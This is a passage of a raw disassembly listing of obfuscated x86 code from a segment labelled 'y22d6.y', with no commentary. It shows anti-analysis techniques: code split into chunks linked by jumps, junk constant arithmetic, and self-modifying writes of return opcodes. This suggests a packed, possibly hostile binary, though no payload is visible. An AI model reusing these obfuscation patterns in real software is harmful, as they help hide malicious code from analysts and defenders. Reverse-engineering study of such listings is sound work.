		call	sub_4455ED

loc_444C77:				; CODE XREF: sub_43BEF7+917Aj
		jmp	nullsub_72
sub_444C6B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E38B

loc_444C7C:				; CODE XREF: sub_44E38B-2AC7j
		jno	loc_43D48B

loc_444C82:				; CODE XREF: sub_44E38B:loc_442D03j
		push	offset sub_43EC01
		jmp	nullsub_278
; END OF FUNCTION CHUNK	FOR sub_44E38B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB3E

loc_444C8C:				; CODE XREF: sub_44DB3E:loc_439159j
		add	edi, 94C2F774h
		xor	edi, 26085721h

loc_444C98:				; CODE XREF: y22d6.y.:loc_439DA9j
		and	edi, 4C2ECBE5h
		add	edi, 0D16AB34h
		popf
		xor	eax, edi
		jmp	loc_4385BC
; END OF FUNCTION CHUNK	FOR sub_44DB3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_444CAC:				; CODE XREF: sub_43C55B+9j
		jnb	loc_44D17A
		sub	al, 99h
		call	sub_43E31B

loc_444CB9:				; CODE XREF: sub_43B98D:loc_44C477j
		jz	loc_44BF4C

loc_444CBF:				; CODE XREF: sub_4464C8+Aj
		jmp	loc_43AF41
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_444CC4:				; CODE XREF: sub_439F5A+8B7j
		jmp	nullsub_80
; END OF FUNCTION CHUNK	FOR sub_439F5A
; ---------------------------------------------------------------------------
		xor	ecx, eax
		sbb	edx, ecx
		cmp	edx, 0BD5443ECh

loc_444CD3:				; CODE XREF: y22d6.y.:loc_440558j
		jmp	loc_44BFA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5E5

loc_444CD8:				; CODE XREF: sub_44A5E5+39BCj
		and	edi, 6FAE998h
		sub	edi, 11A53FCAh
		test	edi, 8000000h
		jmp	loc_4396EB
; END OF FUNCTION CHUNK	FOR sub_44A5E5
; ---------------------------------------------------------------------------

loc_444CEF:				; CODE XREF: y22d6.y.:0043AEFDj
		pop	ecx
		lea	eax, sub_44A5E5
		mov	byte ptr [eax],	0C3h
		jmp	sub_44A5E5
; ---------------------------------------------------------------------------
		push	eax
		push	726C6E49h
		pop	eax
		xor	eax, 0ABFA10FFh
		cmp	eax, 0DE1BE748h
		jmp	loc_443BB7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441A2B

loc_444D17:				; CODE XREF: sub_441A2B:loc_437514j
		add	esi, 0E8FE048Fh
		call	sub_44A3E9

loc_444D22:				; CODE XREF: sub_43704E:loc_43D268j
		pop	eax
		xor	eax, 84406E7Dh
		cmp	eax, 0ACD66C17h

loc_444D2F:				; CODE XREF: sub_43EC92:loc_43FFD5j
		jmp	loc_437117
; END OF FUNCTION CHUNK	FOR sub_441A2B
; ---------------------------------------------------------------------------
		add	edi, 9713545Eh
		test	edx, 0B842CBC8h
		jmp	loc_448C30

; =============== S U B	R O U T	I N E =======================================



sub_444D45	proc near		; CODE XREF: sub_44928B-7CB9p
					; y22d6.y.:00448717j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043774B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00437A5C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CD11 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444521 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 004464A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A5F0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044E663 SIZE 00000018 BYTES

		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		push	edx
		call	sub_44A413
		push	8921227h
		pop	eax
		jmp	loc_44A5F0
sub_444D45	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F37

loc_444D5A:				; CODE XREF: sub_444F37:loc_44312Fj
		jnz	loc_444D67
		mov	eax, [ebp+8]
		or	dword ptr [eax-8], 8
; END OF FUNCTION CHUNK	FOR sub_444F37
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_444D67:				; CODE XREF: sub_43C17E-4E86j
					; sub_43B98D-1101j ...
		jnz	loc_4464F1
		mov	eax, [ebp+8]
		jmp	loc_44282C
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------

loc_444D75:				; CODE XREF: y22d6.y.:loc_442D95j
					; y22d6.y.:loc_44DEC0j
		push	8F2C3F7h
		pop	eax
		and	eax, 0A5DD0182h
		rol	eax, 9
		or	eax, 0AC2746D5h
		jmp	loc_442455
; ---------------------------------------------------------------------------

loc_444D8F:				; CODE XREF: y22d6.y.:0043BC28j
		jo	loc_44DC9F

; =============== S U B	R O U T	I N E =======================================



sub_444D95	proc near		; CODE XREF: sub_44B196+1Ap

; FUNCTION CHUNK AT 00437C4D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043A109 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A39A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043CEF3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043F943 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443184 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044705D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044781A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044CDA7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D427 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D7C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DDC3 SIZE 0000001B BYTES

		xchg	esi, [esp+0]
		pop	esi
		jz	loc_43A3A1
		jmp	loc_44781A
sub_444D95	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_444DA4:				; CODE XREF: sub_4432B8:loc_4475AEj
		push	eax
		call	sub_44D313

loc_444DAA:				; CODE XREF: y22d6.y.:00448342j
		jmp	nullsub_317
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B9F3

loc_444DAF:				; CODE XREF: sub_43B9F3+A819j
		jmp	sub_44E242
; END OF FUNCTION CHUNK	FOR sub_43B9F3

; =============== S U B	R O U T	I N E =======================================



sub_444DB4	proc near		; CODE XREF: y22d6.y.:004463AEj
					; sub_43D20E:loc_447165p

; FUNCTION CHUNK AT 004460B4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044DCAD SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		dec	eax
		jmp	loc_4460B4
sub_444DB4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pushf
		jmp	sub_439407
; ---------------------------------------------------------------------------

loc_444DD3:				; DATA XREF: sub_44B674:loc_449CD3o
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jmp	loc_44E352
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_444DE2:				; CODE XREF: sub_43D20E+F20Dj
		jmp	nullsub_207
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------

loc_444DE7:				; DATA XREF: sub_44BAC8:loc_449323o
		lea	eax, loc_4383D5
		mov	byte ptr [eax],	0C3h
		jmp	loc_4383D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC01

loc_444DF5:				; CODE XREF: sub_43EC01:loc_44814Bj
		mov	eax, [esp+0]
		push	edx

loc_444DF9:				; CODE XREF: y22d6.y.:loc_437B6Ej
		call	sub_44B267
		push	0BDA4B80Eh
		pop	eax
		jmp	loc_449EC0
; END OF FUNCTION CHUNK	FOR sub_43EC01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_444E09:				; CODE XREF: sub_44BCC2-13CCEj
		and	ebp, 68520AD1h
		jmp	loc_43EA3B
; END OF FUNCTION CHUNK	FOR sub_44BCC2

; =============== S U B	R O U T	I N E =======================================



sub_444E14	proc near		; CODE XREF: sub_44C980-4C35p
					; y22d6.y.:00448205j

; FUNCTION CHUNK AT 0043A0B4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043D33F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DEBE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440071 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445C7A SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00449D4A SIZE 00000013 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_43CA1A
		push	ecx
		push	6A4DE8A7h

loc_444E23:				; CODE XREF: sub_44D2B1+Bj
		pop	ecx
		and	ecx, 6AB74F26h
		or	ecx, 0A1B8D0A4h
		jmp	loc_43DEBE
sub_444E14	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	eax, 0F1039B8h
		jmp	loc_4421D2
; ---------------------------------------------------------------------------
		push	4F5540A4h
		jmp	sub_43D11C
; ---------------------------------------------------------------------------
		push	404A7C04h
		jmp	sub_4422BA
; ---------------------------------------------------------------------------
		mov	[ebp+0], esi
		jmp	sub_440E55
; ---------------------------------------------------------------------------
		not	edi
		jmp	loc_439C93
; ---------------------------------------------------------------------------

loc_444E63:				; CODE XREF: y22d6.y.:0043E984j
		jle	loc_447F7A
		adc	esi, 9B7636D8h

loc_444E6F:				; CODE XREF: y22d6.y.:loc_43E969j
		xor	eax, 1C09DFA8h
		or	eax, 0B37A194Bh
		test	eax, 1000000h
		jmp	loc_44380F
; ---------------------------------------------------------------------------
		mov	ds:off_41E114, eax
		lea	eax, loc_443CF1
		mov	byte ptr [eax],	0C3h
		jmp	loc_4432DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E139

loc_444E9A:				; CODE XREF: sub_43E139:loc_443CF1j
		pop	edx
		mov	eax, [esp+0]
		push	edx
		call	sub_438F17
		jmp	loc_43DCE0
; END OF FUNCTION CHUNK	FOR sub_43E139
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_444EA9:				; CODE XREF: sub_43B09B+134F0j
		mov	esi, ecx
		test	eax, 9C2EC367h
		jmp	loc_43B336
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------

loc_444EB6:				; CODE XREF: y22d6.y.:00444C34j
		xor	ebp, esi
		cdq
		jmp	loc_43F015
; ---------------------------------------------------------------------------

loc_444EBE:				; DATA XREF: sub_43991F:loc_44856Co
		or	edx, edx
		jnz	loc_43D646
		jmp	loc_43702A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_444ECB:				; CODE XREF: sub_44B674-1314Bj
		mov	ecx, eax

loc_444ECD:				; CODE XREF: sub_44B674:loc_43E216j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_439B4D
		jmp	loc_437BB8
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_444EDE:				; CODE XREF: sub_44057E:loc_43E964j
		sbb	esi, 0F118CFA7h
		jmp	loc_447C85
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------

loc_444EE9:				; CODE XREF: y22d6.y.:loc_44B6BAj
		sub	edi, 1AAFDE22h

loc_444EEF:				; CODE XREF: y22d6.y.:loc_441BFEj
		or	edi, 49BF50E7h
		and	edi, 50D7BEA9h
		test	edi, 2000000h
		jmp	loc_43A673
; ---------------------------------------------------------------------------

loc_444F06:				; CODE XREF: y22d6.y.:loc_44042Dj
		mov	dword ptr [ebp-0FCh], 6F6C2074h
		push	offset sub_44A39E
		jmp	loc_440C5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441619

loc_444F1A:				; CODE XREF: sub_441619+11j
		rol	edx, 4
		add	edx, 85A5CC57h
		mov	[edx], eax
		pop	edx
		jmp	loc_44AECC
; END OF FUNCTION CHUNK	FOR sub_441619

; =============== S U B	R O U T	I N E =======================================



sub_444F2B	proc near		; CODE XREF: y22d6.y.:0043F410j
					; sub_449641+1E7Bp

; FUNCTION CHUNK AT 0044D36C SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [eax],	0C3h
		jmp	loc_44D36C
sub_444F2B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444F37	proc near		; CODE XREF: sub_4049E1+2DAp
					; y22d6.y.:0044B5DFj
					; DATA XREF: ...

; FUNCTION CHUNK AT 00438669 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439B15 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A0F4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043C381 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044312F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004445E6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00444D5A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00446375 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044BB66 SIZE 0000000B BYTES

		push	eax
		push	6C52C124h
		pop	eax
		and	eax, 830D43F2h

loc_444F44:				; CODE XREF: sub_4491D8+4CD3j
		sub	eax, 809B5BAh
		jmp	loc_438669
sub_444F37	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_353. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E0A9

loc_444F50:				; CODE XREF: sub_43E0A9+D973j
		jmp	loc_443C4E
; END OF FUNCTION CHUNK	FOR sub_43E0A9
; ---------------------------------------------------------------------------

loc_444F55:				; CODE XREF: y22d6.y.:0043DB83j
		jmp	loc_43EFC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF5B

loc_444F5A:				; CODE XREF: sub_43AF5B+1EA8j
		jmp	loc_44397C
; END OF FUNCTION CHUNK	FOR sub_43AF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4382FE

loc_444F5F:				; CODE XREF: sub_4382FE+16j
		jmp	loc_43FFF9
; END OF FUNCTION CHUNK	FOR sub_4382FE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_444F65:				; CODE XREF: sub_441F08+9059j
		jmp	loc_44C84E
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_444F6A:				; CODE XREF: sub_448EB6-894Ej
		jmp	loc_44CF01
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C758

loc_444F6F:				; CODE XREF: sub_44C758-F146j
		jmp	loc_445BDB
; END OF FUNCTION CHUNK	FOR sub_44C758

; =============== S U B	R O U T	I N E =======================================



sub_444F74	proc near		; DATA XREF: y22d6.y.:0043D50Fo

arg_0		= dword	ptr  4

		popf
		xchg	ecx, [esp-4+arg_0]
		jmp	sub_448E18
sub_444F74	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4419CC

loc_444F7D:				; CODE XREF: sub_4419CC:loc_44C8A3j
		lea	eax, sub_4419CC
		mov	byte ptr [eax],	0C3h
		jmp	sub_4419CC
; END OF FUNCTION CHUNK	FOR sub_4419CC

; =============== S U B	R O U T	I N E =======================================



sub_444F8B	proc near		; DATA XREF: .data:off_425E8Co

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00445F82 SIZE 00000005 BYTES

		push	edx
		push	5A4AD775h
		pop	edx
		rol	edx, 1Dh
		add	edx, 54FAC802h
		xchg	edx, [esp+4+var_4]
		jmp	loc_445F82
sub_444F8B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_444FA4:				; CODE XREF: y22d6.y.:004419F8j
		jmp	loc_44952A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB31

loc_444FA9:				; CODE XREF: sub_43AB31+10D25j
		shl	[ebp+var_8], 8
; END OF FUNCTION CHUNK	FOR sub_43AB31
; START	OF FUNCTION CHUNK FOR sub_43F422

loc_444FAD:				; CODE XREF: sub_4375F1+9j
					; sub_43F422:loc_438FF6j
		jnb	loc_44C5FF
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jnz	loc_4472C3
		mov	eax, [ebp-8]
		jmp	loc_4382C9
; END OF FUNCTION CHUNK	FOR sub_43F422
; ---------------------------------------------------------------------------

loc_444FC7:				; CODE XREF: y22d6.y.:00442F63j
		jnz	loc_440677
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_444FCD:				; CODE XREF: sub_4432B8+1032j
		jmp	nullsub_74
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
		cmp	edx, eax
		jmp	loc_43D03E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_444FD9:				; CODE XREF: sub_43B09B+4673j
		jle	loc_438E1B

loc_444FDF:				; CODE XREF: sub_448EB6+405Fj
		and	eax, 394D4032h
		xor	eax, 1E388A42h
		call	sub_43CA1A
		mov	ds:dword_41E0C4, eax
		lea	eax, nullsub_17
		jmp	loc_438EDF
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
		jl	nullsub_68
		jmp	sub_43A58D
; ---------------------------------------------------------------------------

loc_44500C:				; CODE XREF: y22d6.y.:00441E3Aj
		not	ebp

; =============== S U B	R O U T	I N E =======================================



sub_44500E	proc near		; CODE XREF: y22d6.y.:0043A6BBp

arg_4		= dword	ptr  8

		xchg	ebx, [esp+0]
		pop	ebx
		pop	edx
		mov	eax, [esp-8+arg_4]
sub_44500E	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_445016:				; CODE XREF: sub_4432B8:loc_449501j
		push	edx
		push	offset sub_44B120
		jmp	nullsub_250
; ---------------------------------------------------------------------------

loc_445021:				; CODE XREF: sub_4432B8:loc_446E27j
		add	eax, 0D89EC734h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_447EBF
		jmp	loc_445295
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_445037:				; CODE XREF: y22d6.y.:00445E1Cj
		xchg	eax, [ebp+0]
		sbb	ecx, 0BAC03ADFh
		mov	edx, 47172613h
		jmp	loc_444BD3
; ---------------------------------------------------------------------------
		test	ebx, 8588998Ah
		jmp	loc_43B5D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_445055:				; CODE XREF: sub_44057E+40FBj
		cmp	edi, esi
		jmp	loc_43EE3B
; END OF FUNCTION CHUNK	FOR sub_44057E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4FF

loc_44505D:				; CODE XREF: sub_44C4FF+18j
		jmp	loc_43ACD6
; END OF FUNCTION CHUNK	FOR sub_44C4FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_445062:				; CODE XREF: sub_448EB6-7C00j
		jmp	sub_44CDB7
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFF2

loc_445067:				; CODE XREF: sub_43CFF2-352Dj
		jmp	loc_44465E
; END OF FUNCTION CHUNK	FOR sub_43CFF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_44506C:				; CODE XREF: sub_43BEF7-1FA8j
					; y22d6.y.:0043A92Cj ...
		push	offset loc_4471CA
		jmp	loc_444C77
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E242

loc_445076:				; CODE XREF: sub_44E242:loc_44B94Aj
		pop	edi
		mov	eax, [esp+4+var_4]
		call	sub_43B9F3
; END OF FUNCTION CHUNK	FOR sub_44E242
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44507F:				; CODE XREF: sub_44BCC2:loc_44C043j
		pushf
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; START	OF FUNCTION CHUNK FOR sub_439051

loc_445080:				; CODE XREF: sub_439051:loc_43D6D6j
		push	0B21EB285h
		pop	esi
		and	esi, 582C91ACh
		add	esi, 0A8043789h
		popf
		jmp	loc_43D8A5
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B201

loc_445098:				; CODE XREF: sub_43B201+AE2Aj
		add	eax, ebx
		pop	ebx
		mov	[ebp-4], eax
		push	0DD856CDDh
		xchg	edx, [esp+0]
		mov	eax, edx
		jmp	loc_43EF96
; END OF FUNCTION CHUNK	FOR sub_43B201
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C59C

loc_4450AD:				; CODE XREF: sub_44C59C:loc_43F957j
		push	edx
		push	edx
		push	offset loc_43DB71
		jmp	loc_449ACB
; END OF FUNCTION CHUNK	FOR sub_44C59C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_4450B9:				; CODE XREF: sub_43BCA9+6j
		pop	edx
		mov	eax, [esp+0]
		push	eax
		mov	eax, edx
		xchg	eax, [esp+4+var_4]
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+0]
		jmp	loc_43DB9E
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4450CE:				; CODE XREF: sub_4432B8-7E6Aj
		sub	eax, edi
		xchg	edi, [ebx]
		jmp	loc_449F56
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_4450D7:				; CODE XREF: sub_44DB81-15A9Cj
		push	offset sub_44A620
		jmp	loc_437A1C
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
		jmp	ds:off_41E0F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_4450E7:				; CODE XREF: sub_4475B3-337Bj
		jmp	loc_440711
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43946E

loc_4450EC:				; CODE XREF: sub_44AC61:loc_4377D1j
					; sub_44C921-C892j ...
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		jmp	loc_439FB7
; END OF FUNCTION CHUNK	FOR sub_43946E
; ---------------------------------------------------------------------------

loc_4450F7:				; CODE XREF: y22d6.y.:0044BE0Fj
		ja	loc_4418A7

; =============== S U B	R O U T	I N E =======================================



sub_4450FD	proc near		; CODE XREF: sub_44CB3F-15860p

; FUNCTION CHUNK AT 00437DA4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00438A7C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043930A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004397DE SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0043A12F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A702 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043E23C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043E8B9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043EF56 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440959 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00440EC1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044205D SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00442D60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044591F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00445CEC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044616B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446E58 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044745A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044A590 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AFC9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BB50 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C0B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C0C3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044C679 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DB11 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DBA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DCFF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044DEEB SIZE 00000011 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jz	loc_447463
		push	ebp
		mov	eax, [ebp-20h]
		jmp	loc_44A590
sub_4450FD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_445110:				; CODE XREF: y22d6.y.:00438326j
		jns	loc_44DBC7
		and	edi, 2BF04BF5h

; =============== S U B	R O U T	I N E =======================================



sub_44511C	proc near		; CODE XREF: y22d6.y.:0043F47Dp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043CF0A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00449632 SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	esi

loc_445121:				; CODE XREF: y22d6.y.:00441904j
		push	1BFFA6B7h
		xchg	ebp, [esp+0]
		mov	esi, ebp
		jmp	loc_43CF0A
sub_44511C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_445130:				; CODE XREF: y22d6.y.:loc_43B0C5j
		retn
; ---------------------------------------------------------------------------
		jmp	loc_43A548
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_445136:				; CODE XREF: sub_441F08+Ej
		jnz	loc_445C36
		jmp	loc_4463BD
; END OF FUNCTION CHUNK	FOR sub_441F08

; =============== S U B	R O U T	I N E =======================================



sub_445141	proc near		; CODE XREF: y22d6.y.:00447F59p
					; y22d6.y.:0044A032j

; FUNCTION CHUNK AT 0043F12A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448014 SIZE 00000015 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	235F12Fh
		pop	esi
		add	esi, 0CED59E27h
		jmp	loc_43F12A
sub_445141	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_445156:				; CODE XREF: y22d6.y.:loc_43EF9Bj
		jz	loc_43A83D
		jmp	loc_44A387
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_250. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B35D

loc_445162:				; CODE XREF: sub_44B35D+9j
		jmp	locret_449011
; END OF FUNCTION CHUNK	FOR sub_44B35D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E15A

loc_445167:				; CODE XREF: sub_43E15A+45E8j
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_43E15A
; ---------------------------------------------------------------------------

loc_44516C:				; CODE XREF: y22d6.y.:00440D66j
		jmp	loc_443FB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449A8B

loc_445171:				; CODE XREF: sub_449A8B:loc_4389E3j
		call	sub_444581
		mov	ds:off_41E20C, eax
		lea	eax, sub_4384B4
		mov	byte ptr [eax],	0C3h

loc_445185:				; CODE XREF: y22d6.y.:0044C746j
		jmp	sub_4384B4
; END OF FUNCTION CHUNK	FOR sub_449A8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4030E2

loc_44518A:				; CODE XREF: sub_4030E2+Dj
					; sub_4030E2:loc_43CA52j
					; DATA XREF: ...
		call	sub_43CA62
; ---------------------------------------------------------------------------
		jmp	loc_44C47C
; END OF FUNCTION CHUNK	FOR sub_4030E2

; =============== S U B	R O U T	I N E =======================================



sub_445194	proc near		; DATA XREF: sub_449307+7o
		xchg	ebp, [esp+0]
		mov	edx, eax
		call	sub_44D088
		jmp	sub_44798E
sub_445194	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44243B

loc_4451A3:				; CODE XREF: sub_44243B+4j
		push	offset loc_44A13C
		jmp	nullsub_75
; END OF FUNCTION CHUNK	FOR sub_44243B
; ---------------------------------------------------------------------------

loc_4451AD:				; CODE XREF: y22d6.y.:0044006Bj
		mov	ebp, esi
		xchg	ecx, [esp]
